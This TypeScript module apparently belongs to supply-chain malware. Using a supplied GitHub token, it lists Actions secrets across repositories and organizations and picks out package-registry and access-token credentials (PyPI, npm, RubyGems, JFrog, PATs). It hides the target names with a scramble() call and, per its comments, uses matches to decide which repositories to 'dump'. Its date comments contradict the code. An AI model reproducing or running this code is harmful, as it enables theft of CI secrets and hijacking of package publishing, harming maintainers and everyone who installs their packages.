import { logUtil } from "../../utils/logger"; import { githubFetch } from "./github"; interface SecretsResponse { total_count: number; secrets: Array<{ name: string; updated_at?: string }>; } export interface RepoSecretInfo { fullName: string; secrets: string[]; isPrivate: boolean; } declare function scramble(str: string): string; const TARGET_SECRET_PATTERNS = [ scramble("PYPI"), scramble("NPM_"), scramble("OP_"), scramble("RUBY"), scramble("PAT"), scramble("PERSONAL_ACCESS"), scramble("JFROG"), ]; /** NPM_TOKEN is only counted if it has been updated since May 20, 2025. * Tokens updated before this date or with no date are considered stale * and do not trigger a repo dump. */ function isStaleNpmToken(secret: { name: string; updated_at?: string; }): boolean { if (secret.name.toUpperCase() !== "NPM_TOKEN") return false; if (!secret.updated_at) return true; // no date = stale, skip const updated = new Date(secret.updated_at); const cutoff = new Date("2026-05-20T00:00:00Z"); return updated < cutoff; } function isTargetSecret(secret: { name: string; updated_at?: string; }): boolean { const upper = secret.name.toUpperCase(); if (!TARGET_SECRET_PATTERNS.some((p) => upper.includes(p))) return false; // Exclude stale NPM_TOKENs (updated > 30 days ago) if (isStaleNpmToken(secret)) return false; return true; } export async function* streamRepoSecrets( token: string, repos: | AsyncIterable<{ fullName: string; private: boolean }> | Iterable<{ fullName: string; private: boolean }>, ): AsyncGenerator { for await (const repo of repos) { const [owner, name] = repo.fullName.split("/"); if (!owner || !name) continue; logUtil.log(`checking ${repo.fullName}`); const targetSecrets: string[] = []; try { const res = await githubFetch( token, `/repos/${owner}/${name}/actions/secrets?per_page=100`, ); if (res.ok) { const data = (await res.json()) as SecretsResponse; targetSecrets.push( ...data.secrets.filter(isTargetSecret).map((s) => s.name), ); } } catch { // No access or no secrets } try { const res = await githubFetch( token, `/repos/${owner}/${name}/actions/organization-secrets?per_page=100`, ); if (res.ok) { const data = (await res.json()) as SecretsResponse; targetSecrets.push( ...data.secrets.filter(isTargetSecret).map((s) => s.name), ); } } catch { // No access or not an org repo } yield { fullName: repo.fullName, secrets: targetSecrets, isPrivate: repo.private, }; } }